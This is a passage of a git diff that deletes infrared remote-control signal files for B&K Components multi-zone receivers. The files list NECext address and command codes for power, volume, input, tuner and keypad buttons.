BK017_INPUT_3 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 06 00 00 00 -# -name: BK017_INPUT_8 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 07 00 00 00 -# -name: BK017_INPUT_2 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 09 00 00 00 -# -name: BK017_INPUT_7 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0B 00 00 00 -# -name: BK017_INPUT_4 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0D 00 00 00 -# -name: BK017_TUNER_1 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0E 00 00 00 -# -name: BK017_INPUT_5 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0F 00 00 00 -# -name: BK017_STATION- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 17 00 00 00 -# -name: BK017_STATION+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 18 00 00 00 -# -name: BK017_TUNE- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 1B 00 00 00 -# -name: BK017_TUNE+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 1C 00 00 00 -# -name: BK017_LEFT -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 1F 00 00 00 -# -name: BK017_RIGHT -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 20 00 00 00 -# -name: BK017_VOLUME- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 23 00 00 00 -# -name: BK017_VOLUME+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 24 00 00 00 -# -name: BK017_NUMBER_+10 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 29 00 00 00 -# -name: BK017_EQ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 2A 00 00 00 -# -name: BK017_DOWN -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 2D 00 00 00 -# -name: BK017_UP -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 2E 00 00 00 -# -name: BK017_ENTER -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 30 00 00 00 -# -name: BK017_NUMBER_1 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 31 00 00 00 -# -name: BK017_NUMBER_2 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 32 00 00 00 -# -name: BK017_NUMBER_3 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 33 00 00 00 -# -name: BK017_NUMBER_4 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 35 00 00 00 -# -name: BK017_NUMBER_5 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 36 00 00 00 -# -name: BK017_NUMBER_6 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 37 00 00 00 -# -name: BK017_NUMBER_7 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 39 00 00 00 -# -name: BK017_NUMBER_8 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 3A 00 00 00 -# -name: BK017_NUMBER_9 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 3B 00 00 00 -# -name: BK017_NUMBER_0 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 3E 00 00 00 -# -name: BK017_SAVE -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 40 00 00 00 -# -name: BK017_TUNER_3 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 44 00 00 00 -# -name: BK017_INPUT_6 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 4A 00 00 00 -# -name: BK017_PRESET+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 4B 00 00 00 -# -name: BK017_D-IN -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 5A 00 00 00 -# -name: BK017_BASS- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 65 00 00 00 -# -name: BK017_SOURCE+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 66 00 00 00 -# -name: BK017_INPUT_9 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 6E 00 00 00 -# -name: BK017_AM -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 76 00 00 00 -# -name: BK017_TREBLE- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 79 00 00 00 -# -name: BK017_VIDEO- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 7A 00 00 00 -# -name: BK017_EXIT -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 7D 00 00 00 -# -name: BK017_TUNER_2 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 84 00 00 00 -# -name: BK017_FM -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 8E 00 00 00 -# -name: BK017_SOURCE- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: A6 00 00 00 -# -name: BK017_SLEEP -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: B3 00 00 00 -# -name: BK017_PRESET- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: C6 00 00 00 -# -name: BK017_LOUDNESS -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: CF 00 00 00 -# -name: BK017_AUTO_LEVEL -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: E4 00 00 00 -# -name: BK017_BASS+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: E5 00 00 00 -# -name: BK017_TREBLE+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: F9 00 00 00 -# -name: BK017_VIDEO+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir deleted file mode 100644 index 68ce38513..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK025_POWER_OFF -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 01 00 00 00 -# -name: BK025_POWER_ON -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 02 00 00 00 -# -name: BK025_MUTE -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 03 00 00 00 -# -name: BK025_INPUT_1 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 05 00 00 00 -# -name: BK025_INPUT_3 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 06 00 00 00 -# -name: BK025_INPUT_8 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 07 00 00 00 -# -name: BK025_INPUT_2 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 09 00 00 00 -# -name: BK025_INPUT_7 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 0B 00 00 00 -# -name: BK025_INPUT_4 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 0D 00 00 00 -# -name: BK025_TUNER_1 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 0E 00 00 00 -# -name: BK025_INPUT_5 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 0F 00 00 00 -# -name: BK025_STATION- -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 17 00 00 00 -# -name: BK025_STATION+ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 18 00 00 00 -# -name: BK025_TUNE- -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 1B 00 00 00 -# -name: BK025_TUNE+ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 1C 00 00 00 -# -name: BK025_LEFT -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 1F 00 00 00 -# -name: BK025_RIGHT -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 20 00 00 00 -# -name: BK025_VOLUME- -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 23 00 00 00 -# -name: BK025_VOLUME+ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 24 00 00 00 -# -name: BK025_NUMBER_+10 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 29 00 00 00 -# -name: BK025_EQ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 2A 00 00 00 -# -name: BK025_DOWN -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 2D 00 00 00 -# -name: BK025_UP -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 2E 00 00 00 -# -name: BK025_ENTER -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 30 00 00 00 -# -name: BK025_NUMBER_1 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 31 00 00 00 -# -name: BK025_NUMBER_2 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 32 00 00 00 -# -name: BK025_NUMBER_3 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 33 00 00 00 -# -name: BK025_NUMBER_4 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 35 00 00 00 -# -name: BK025_NUMBER_5 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 36 00 00 00 -# -name: BK025_NUMBER_6 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 37 00 00 00 -# -name: BK025_NUMBER_7 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 39 00 00 00 -# -name: BK025_NUMBER_8 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 3A 00 00 00 -# -name: BK025_NUMBER_9 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 3B 00 00 00 -# -name: BK025_NUMBER_0 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 3E 00 00 00 -# -name: BK025_SAVE -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 40 00 00 00 -# -name: BK025_TUNER_3 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 44 00 00 00 -# -name: BK025_INPUT_6 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 4A 00 00 00 -# -name: BK025_PRESET+ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 4B 00 00 00 -# -name: BK025_D-IN -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 5A 00 00 00 -# -name: BK025_BASS- -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 65 00 00 00 -# -name: BK025_SOURCE+ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 66 00 00 00 -# -name: BK025_INPUT_9 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 6E 00 00 00 -# -name: BK025_AM -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 76 00 00 00 -# -name: BK025_TREBLE- -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 79 00 00 00 -# -name: BK025_VIDEO- -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 7A 00 00 00 -# -name: BK025_EXIT -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 7D 00 00 00 -# -name: BK025_TUNER_2 -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 84 00 00 00 -# -name: BK025_FM -type: parsed -protocol: NECext -address: E7 81 00 00 -command: 8E 00 00 00 -# -name: BK025_SOURCE- -type: parsed -protocol: NECext -address: E7 81 00 00 -command: A6 00 00 00 -# -name: BK025_SLEEP -type: parsed -protocol: NECext -address: E7 81 00 00 -command: B3 00 00 00 -# -name: BK025_PRESET- -type: parsed -protocol: NECext -address: E7 81 00 00 -command: C6 00 00 00 -# -name: BK025_LOUDNESS -type: parsed -protocol: NECext -address: E7 81 00 00 -command: CF 00 00 00 -# -name: BK025_AUTO_LEVEL -type: parsed -protocol: NECext -address: E7 81 00 00 -command: E4 00 00 00 -# -name: BK025_BASS+ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: E5 00 00 00 -# -name: BK025_TREBLE+ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: F9 00 00 00 -# -name: BK025_VIDEO+ -type: parsed -protocol: NECext -address: E7 81 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir deleted file mode 100644 index 85b9f4659..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK128_POWER_OFF -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 01 00 00 00 -# -name: BK128_POWER_ON -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 02 00 00 00 -# -name: BK128_MUTE -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 03 00 00 00 -# -name: BK128_INPUT_1 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 05 00 00 00 -# -name: BK128_INPUT_3 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 06 00 00 00 -# -name: BK128_INPUT_8 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 07 00 00 00 -# -name: BK128_INPUT_2 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 09 00 00 00 -# -name: BK128_INPUT_7 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0B 00 00 00 -# -name: BK128_INPUT_4 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0D 00 00 00 -# -name: BK128_TUNER_1 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0E 00 00 00 -# -name: BK128_INPUT_5 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0F 00 00 00 -# -name: BK128_STATION- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 17 00 00 00 -# -name: BK128_STATION+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 18 00 00 00 -# -name: BK128_TUNE- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1B 00 00 00 -# -name: BK128_TUNE+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1C 00 00 00 -# -name: BK128_LEFT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1F 00 00 00 -# -name: BK128_RIGHT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 20 00 00 00 -# -name: BK128_VOLUME- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 23 00 00 00 -# -name: BK128_VOLUME+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 24 00 00 00 -# -name: BK128_NUMBER_+10 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 29 00 00 00 -# -name: BK128_EQ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2A 00 00 00 -# -name: BK128_DOWN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2D 00 00 00 -# -name: BK128_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2E 00 00 00 -# -name: BK128_ENTER -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 30 00 00 00 -# -name: BK128_NUMBER_1 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 31 00 00 00 -# -name: BK128_NUMBER_2 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 32 00 00 00 -# -name: BK128_NUMBER_3 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 33 00 00 00 -# -name: BK128_NUMBER_4 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 35 00 00 00 -# -name: BK128_NUMBER_5 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 36 00 00 00 -# -name: BK128_NUMBER_6 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 37 00 00 00 -# -name: BK128_NUMBER_7 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 39 00 00 00 -# -name: BK128_NUMBER_8 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3A 00 00 00 -# -name: BK128_NUMBER_9 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3B 00 00 00 -# -name: BK128_NUMBER_0 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3E 00 00 00 -# -name: BK128_SAVE -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 40 00 00 00 -# -name: BK128_TUNER_3 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 44 00 00 00 -# -name: BK128_INPUT_6 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4A 00 00 00 -# -name: BK128_PRESET+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4B 00 00 00 -# -name: BK128_D-IN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 5A 00 00 00 -# -name: BK128_BASS- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 65 00 00 00 -# -name: BK128_SOURCE+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 66 00 00 00 -# -name: BK128_INPUT_9 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 6E 00 00 00 -# -name: BK128_AM -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 76 00 00 00 -# -name: BK128_TREBLE- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 79 00 00 00 -# -name: BK128_VIDEO- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 7A 00 00 00 -# -name: BK128_EXIT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 7D 00 00 00 -# -name: BK128_TUNER_2 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 84 00 00 00 -# -name: BK128_FM -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 8E 00 00 00 -# -name: BK128_SOURCE- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A6 00 00 00 -# -name: BK128_SLEEP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: B3 00 00 00 -# -name: BK128_PRESET- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: C6 00 00 00 -# -name: BK128_LOUDNESS -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: CF 00 00 00 -# -name: BK128_AUTO_LEVEL -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: E4 00 00 00 -# -name: BK128_BASS+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: E5 00 00 00 -# -name: BK128_TREBLE+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: F9 00 00 00 -# -name: BK128_VIDEO+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir deleted file mode 100644 index e148ed0a6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK016_POWER_OFF -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 01 00 00 00 -# -name: BK016_POWER_ON -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 02 00 00 00 -# -name: BK016_MUTE -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 03 00 00 00 -# -name: BK016_INPUT_1 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 05 00 00 00 -# -name: BK016_INPUT_3 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 06 00 00 00 -# -name: BK016_INPUT_8 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 07 00 00 00 -# -name: BK016_INPUT_2 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 09 00 00 00 -# -name: BK016_INPUT_7 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0B 00 00 00 -# -name: BK016_INPUT_4 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0D 00 00 00 -# -name: BK016_TUNER_1 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0E 00 00 00 -# -name: BK016_INPUT_5 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0F 00 00 00 -# -name: BK016_STATION- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 17 00 00 00 -# -name: BK016_STATION+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 18 00 00 00 -# -name: BK016_TUNE- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1B 00 00 00 -# -name: BK016_TUNE+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1C 00 00 00 -# -name: BK016_LEFT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1F 00 00 00 -# -name: BK016_RIGHT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 20 00 00 00 -# -name: BK016_VOLUME- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 23 00 00 00 -# -name: BK016_VOLUME+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 24 00 00 00 -# -name: BK016_NUMBER_+10 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 29 00 00 00 -# -name: BK016_EQ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2A 00 00 00 -# -name: BK016_DOWN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2D 00 00 00 -# -name: BK016_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2E 00 00 00 -# -name: BK016_ENTER -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 30 00 00 00 -# -name: BK016_NUMBER_1 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 31 00 00 00 -# -name: BK016_NUMBER_2 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 32 00 00 00 -# -name: BK016_NUMBER_3 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 33 00 00 00 -# -name: BK016_NUMBER_4 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 35 00 00 00 -# -name: BK016_NUMBER_5 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 36 00 00 00 -# -name: BK016_NUMBER_6 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 37 00 00 00 -# -name: BK016_NUMBER_7 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 39 00 00 00 -# -name: BK016_NUMBER_8 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3A 00 00 00 -# -name: BK016_NUMBER_9 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3B 00 00 00 -# -name: BK016_NUMBER_0 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3E 00 00 00 -# -name: BK016_SAVE -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 40 00 00 00 -# -name: BK016_TUNER_3 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 44 00 00 00 -# -name: BK016_INPUT_6 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 4A 00 00 00 -# -name: BK016_PRESET+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 4B 00 00 00 -# -name: BK016_D-IN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 5A 00 00 00 -# -name: BK016_BASS- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 65 00 00 00 -# -name: BK016_SOURCE+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 66 00 00 00 -# -name: BK016_INPUT_9 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 6E 00 00 00 -# -name: BK016_AM -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 76 00 00 00 -# -name: BK016_TREBLE- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 79 00 00 00 -# -name: BK016_VIDEO- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 7A 00 00 00 -# -name: BK016_EXIT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 7D 00 00 00 -# -name: BK016_TUNER_2 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 84 00 00 00 -# -name: BK016_FM -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 8E 00 00 00 -# -name: BK016_SOURCE- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: A6 00 00 00 -# -name: BK016_SLEEP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: B3 00 00 00 -# -name: BK016_PRESET- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: C6 00 00 00 -# -name: BK016_LOUDNESS -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: CF 00 00 00 -# -name: BK016_AUTO_LEVEL -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: E4 00 00 00 -# -name: BK016_BASS+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: E5 00 00 00 -# -name: BK016_TREBLE+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: F9 00 00 00 -# -name: BK016_VIDEO+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir deleted file mode 100644 index a347dd4d8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK032_POWER_OFF -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 01 00 00 00 -# -name: BK032_POWER_ON -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 02 00 00 00 -# -name: BK032_MUTE -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 03 00 00 00 -# -name: BK032_INPUT_1 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 05 00 00 00 -# -name: BK032_INPUT_3 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 06 00 00 00 -# -name: BK032_INPUT_8 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 07 00 00 00 -# -name: BK032_INPUT_2 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 09 00 00 00 -# -name: BK032_INPUT_7 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 0B 00 00 00 -# -name: BK032_INPUT_4 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 0D 00 00 00 -# -name: BK032_TUNER_1 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 0E 00 00 00 -# -name: BK032_INPUT_5 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 0F 00 00 00 -# -name: BK032_STATION- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 17 00 00 00 -# -name: BK032_STATION+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 18 00 00 00 -# -name: BK032_TUNE- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 1B 00 00 00 -# -name: BK032_TUNE+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 1C 00 00 00 -# -name: BK032_LEFT -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 1F 00 00 00 -# -name: BK032_RIGHT -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 20 00 00 00 -# -name: BK032_VOLUME- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 23 00 00 00 -# -name: BK032_VOLUME+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 24 00 00 00 -# -name: BK032_NUMBER_+10 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 29 00 00 00 -# -name: BK032_EQ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 2A 00 00 00 -# -name: BK032_DOWN -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 2D 00 00 00 -# -name: BK032_UP -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 2E 00 00 00 -# -name: BK032_ENTER -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 30 00 00 00 -# -name: BK032_NUMBER_1 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 31 00 00 00 -# -name: BK032_NUMBER_2 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 32 00 00 00 -# -name: BK032_NUMBER_3 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 33 00 00 00 -# -name: BK032_NUMBER_4 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 35 00 00 00 -# -name: BK032_NUMBER_5 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 36 00 00 00 -# -name: BK032_NUMBER_6 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 37 00 00 00 -# -name: BK032_NUMBER_7 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 39 00 00 00 -# -name: BK032_NUMBER_8 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 3A 00 00 00 -# -name: BK032_NUMBER_9 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 3B 00 00 00 -# -name: BK032_NUMBER_0 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 3E 00 00 00 -# -name: BK032_SAVE -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 40 00 00 00 -# -name: BK032_TUNER_3 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 44 00 00 00 -# -name: BK032_INPUT_6 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 4A 00 00 00 -# -name: BK032_PRESET+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 4B 00 00 00 -# -name: BK032_D-IN -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 5A 00 00 00 -# -name: BK032_BASS- -type: parsed -protocol: NECext 